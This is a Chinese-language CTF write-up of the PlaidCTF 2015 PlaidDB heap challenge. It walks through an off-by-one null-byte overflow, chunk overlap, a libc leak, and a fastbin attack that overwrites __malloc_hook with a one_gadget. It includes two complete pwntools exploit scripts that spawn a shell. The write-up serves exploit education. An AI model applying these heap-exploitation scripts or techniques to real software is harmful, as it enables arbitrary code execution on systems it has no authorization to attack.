Off-By-One漏洞例题之PlaidDB
PlaidCTF 2015 PlaidDB
保护全开,非常好
root@ubuntu20:~/off-by-one# checksec datastore
[*] '/root/off-by-one/datastore'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
FORTIFY: Enabled
0x00 查看伪代码
main函数申请了3个chunk,第一个chunk存着后两个chunk的返回指针,后两个chunk分别拷入字符串,但是到后面才发现他们都不是主角。
由于自己的能力所限,只能根据网上帖子,知道row都是以binary tree形式存储的。
结构如下:
struct row {
char *key
int size
char *content
row *left
row *right
row *parent
bool is_leaf
}
接着看几个功能程序
getkey:为key申请chunk,输入的key内容比8字节大时,自动realloc两倍size大小的空间
GET:getkey为输入key申请空间,将对应key的data部分数据长度以及内容取出显示,最后把申请空间释放掉
PUT:申请0x38空间创建row,getkey函数申请8字节的空间,输入并获得key;输入data size,根据size申请size大小的空间,输入内容
DUMP:将所有row以及对应的key、data size输出
DEL:分配放key的空间,将输入的key与原有的key对比,若有该key则把相应的key以及data空间等free掉
0x01 漏洞利用
get key函数
char *sub_1040()
{
char *key; // r12
char *ptr; // rbx
size_t chunk_size; // r14
char v3; // al
char v4; // bp
__int64 v5; // r13
char *v6; // rax
key = (char *)malloc(8uLL);
ptr = key;
chunk_size = malloc_usable_size(key);
while ( 1 )
{
v3 = _IO_getc(stdin);
v4 = v3;
if ( v3 == -1 )
goodbye();
if ( v3 == 10 )
break;
v5 = ptr - key;
if ( chunk_size <= ptr - key )
{
v6 = (char *)realloc(key, 2 * chunk_size);
key = v6;
if ( !v6 )
{
puts("FATAL: Out of memory");
exit(-1);
}
ptr = &v6[v5];
chunk_size = malloc_usable_size(v6);
}
*ptr++ = v4; <--ptr 作为索引,指向了下一个位置,如果位置全部使用完毕则会指向下一个本应该不可写位置
}
*ptr = 0; <--null byte 漏洞溢出点
return key;
}
想要触发该漏洞就就输入恰好size大小的数据,ptr指针会指向合法范围之外下一个字节,将其置零。
不同于Asis CTF的b00k,此时无法对指针直接进行修改,只能修改下一个chunk的头部,就是prev_size或者inuse位。
这就对分配的大小有要求,都应该是0x18、0x28等之类以8结尾的chunk,因为这样的chunk的数据部分才能够写入下一个chunk的prev_size域,最后覆盖下一个chunk的inuse位。
现在重心在于如何构造堆块重叠,构造的目的有两个,一是泄露libc地址,二是实现UAF。
0x02 准备堆块
构造如下
要让这几个chunk物理上连续,就要避免结构体的0x38的申请会在这里得到分配
所以先行申请然后释放充足的堆块
for i in range(10):
PUT(str(i),0x38,str(i))
for i in range(10):
delete(str(i))
然后构造这几个chunk的操作如下:
put('1', 0x200, '1')
put('2', 0x50, '2')
put('5', 0x68, '5')
put('3', 0x1f8, '3')
put('4', 0xf0, '4')
put('defense', 0x40, 'defense-data')
接下来就是一步步实现堆块的回收,以及合并,造成free状态的不同堆块重叠
#一些该free掉的chunk就free掉
delete('5')
delete('3')
delete('1') #注意这里的3必须要比1先free,因为都会两个chunk都放入unsorted bin,而unsorted bin分配机制是先进先出不同于fastbin,所以只有这样在后面申请时才会分配到3而不是1的空间
delete('a' * 0x1f0 + p64(0x4e0)) #实现溢出,0x4e0=0x210+0x60+0x70+0x200
delete('4') #合并12534为一个chunk
0x03 Leak libc
此时合并后的chunk将作为unsorted bin链表的第一个节点,它的fd、bk是main_anera+88
申请一个0x200的chunk,这个大的unsorted chunk会划分0x210的空间出来,继而unsorted chunk的尺寸变小,恰好头部与key为'2'的chunk2的头部重叠,chunk2的fd被覆盖了main_arena+88,chunk2没有释放所以用GET函数可以泄露main_arena+88的地址出来。
put('0x200 fillup', 0x200, 'fillup again') #申请,改变unsoerted bin的尺寸
libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
info('libc leak: 0x%x' % libc_leak)
0x04 Fastbin Attack(Arbitrary Alloc)
泄露libc,这道题就算完成一半了,接下来展开fastbin攻击
先前释放的'5'chunk还在fastbin里面放着,并且是第一个节点
我们先向unsorted bin申请空间,写入内存上存储__malloc_hook地址的堆块,覆盖'5'的fd。造出下一个堆块节点。
这个节点要能够分配,我们才能控制__malloc_hook的内容,那势必就需要绕过分配时 size 域的检验。
我们结合图来看
通过观察发现 0x7ffff7dd1b05
处可以有效构造一个 0x000000000000007f的合法size,大小刚好符合,这也暗示以后类似的attack ,没有比7f更合适得size了,所以构造的重叠的节点free后最好能放在0x70的fastbin链表中。这也就是put('5', 0x68, '5')申请0x68的原因。
那么先申请一个分配掉0x555555759950,再分配就可以写数据覆盖劫持__malloc_hook。
先one_gadget,由于不方便判断条件是否成立,直接每一个数据都尝试直到ok就可以了
发现0x4527a可以。
put('prepare', 0x68, 'prepare data') #分配掉0x555555759950
one_gadget = libc_base + 0x4527a
put('attack', 0x68, 'a' * 3 + p64(one_gadget)) #错位三个字节才是__malloc_hook的地址
io.sendline('DEL') # malloc(8) triggers one_gadget
0x05 Exploit
from pwn import *
#context(log_level='debug')
io = process('./datastore')
libc = ELF('/usr/local/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
def get(key):
io.recvuntil('command:\n')
io.sendline('GET')
io.recvuntil('key:\n')
io.sendline(key)
io.recvuntil('[')
num = int(io.recvuntil(' byte', drop=True))
io.recvuntil(':\n')
return io.recv(num)
def put(key, size, data):
io.recvuntil('command:\n')
io.sendline('PUT')
io.recvuntil('key:\n')
io.sendline(key)
io.recvuntil('size:\n')
io.sendline(str(size))
io.recvuntil('data:\n')
if len(data) < size:
io.send(data.ljust(size, '\x00'))
else:
io.send(data)
def delete(key):
io.recvuntil('command:\n')
io.sendline('DEL')
io.recvuntil('key:\n')
io.sendline(key)
for i in range(10):
put(str(i), 0x38, str(i))
for i in range(10):
delete(str(i))
put('1', 0x200, '1')
put('2', 0x50, '2')
put('5', 0x68, '5')
put('3', 0x1f8, '3')
put('4', 0xf0, '4')
put('defense', 0x40, 'defense-data')
# free those need to be freed
delete('5')
delete('3')
delete('1')
delete('a' * 0x1f0 + p64(0x4e0))
delete('4')
# put('0x200', 0x200, 'fillup') # get another chunk 0x200
put('0x200 fillup', 0x200, 'fillup again')
libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
info('libc leak: 0x%x' % libc_leak)
libc_base = libc_leak - 0x3c4b78
info('libc_base: 0x%x' % libc_base)
put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 - 3)) # change fd
put('prepare', 0x68, 'prepare data')
one_gadget = libc_base + 0x4527a
put('attack', 0x68, 'a' * 3 + p64(one_gadget))
io.sendline('DEL') # malloc(8) triggers one_gadget
io.interactive()
0x06 小结:
较之Asis的b00k,这道题难了不少,最为关键的是对堆块分配及释放机制的熟练理解运用,下图就是对这道题关键之处的一个体现。这种姿势其实就是house of einherjar。
0x07 另一种思路
带着疑问在自己看书之后,发现不一样的exploit的方式,但大同小异。
在预留十个fastbin的chunk后,同样申请大小为0x80、0x110、0x90字节的chunk,最后在申请一个chunk防止free时与top chunk合并。
在free掉chunk A和chunk B 后,再申请写入0x78字节将key分配到chunk A,进行null byte的溢出,将chunk B的size域最低字节覆盖,即0x110
->0x100
PUT("A", 0x71, "A"*0x70)
PUT("B", 0x101, "B"*0x100)
PUT("C", 0x81, "C"*0x80)
PUT("def", 0x81, "d"*0x80)
DEL("A")
DEL("B")
PUT("A"*0x78, 0x31, "A"*0x30) #posion null byte
将此时在unsorted的chunk B划分成两块分配出去,再释放B1和C使得两个chunk合并,此时正在使用的chunk B2就包含在了合并的大chunk中。
PUT("B1", 0x81, "X"*0x80)
PUT("B2", 0x41, "Y"*0x40)
DEL("B1")
DEL("C") # overlap chunkB2
PUT("B1", 0x81, "X"*0x80)
分配让unsorted bin划分chunk,让fd落在B2的fd上,泄露出main_arena+88
的地址
接下来就是伪造0x70大小的chunk,分配到__malloc_hook-0x13的位置,劫持malloc_hook的地址改为one_gadget地址,然后后面的利用跟前面所讲的差不多,不再赘述。
0x08 Exploit
from pwn import *
#io = remote('127.0.0.1', 10001)
io = process("./datastore")
libc = ELF('/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
def PUT(key, size, data):
io.sendlineafter("command:", "PUT")
io.sendlineafter("key", key)
io.sendlineafter("size", str(size))
io.sendlineafter("data", data)
def GET(key):
io.sendlineafter("command:", "GET")
io.sendlineafter("key", key)
io.recvuntil("bytes]:\n")
return io.recvline()
def DEL(key):
io.sendlineafter("command:", "DEL")
io.sendlineafter("key", key)
for i in range(0, 10):
PUT(str(i), 0x38, str(i)*0x37)
for i in range(0, 10):
DEL(str(i))
def leak_libc():
global libc_base
PUT("A", 0x71, "A"*0x70)
PUT("B", 0x101, "B"*0x100)
PUT("C", 0x81, "C"*0x80)
PUT("def", 0x81, "d"*0x80)
DEL("A")
DEL("B")
PUT("A"*0x78, 0x31, "A"*0x30) # posion null byte
PUT("B1", 0x81, "X"*0x80)
PUT("B2", 0x41, "Y"*0x40)
DEL("B1")
DEL("C") # overlap chunkB2
PUT("B1", 0x81, "X"*0x80)
libc_base = u64(GET("B2")[:8]) - 0x3c3b78
log.info("libc address: 0x%x" % libc_base)
#pause()
def pwn():
one_gadget = libc_base + 0x4525a
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.info("malloc_hook address: 0x%x" % malloc_hook)
DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71)
payload += p64(0)*12 + p64(0) + p64(0x21)
PUT("B1", 0x191, payload.ljust(0x190, "B"))
DEL("B2")
DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x13)
PUT("B1", 0x191, payload.ljust(0x190, "B"))
PUT("D", 0X61, "D"*0x60)
payload = 'a'*0x3 + p64(one_gadget)
PUT("E", 0X61, payload.ljust(0x60, "E"))
io.sendline("GET")
io.interactive()
if __name__ == '__main__':
leak_libc()
pwn()
小结
两种做法比较,前者修改prev_size域,null byte溢出在于修改inuse位;后者null byte溢出在于修改size。
后者思路如下图: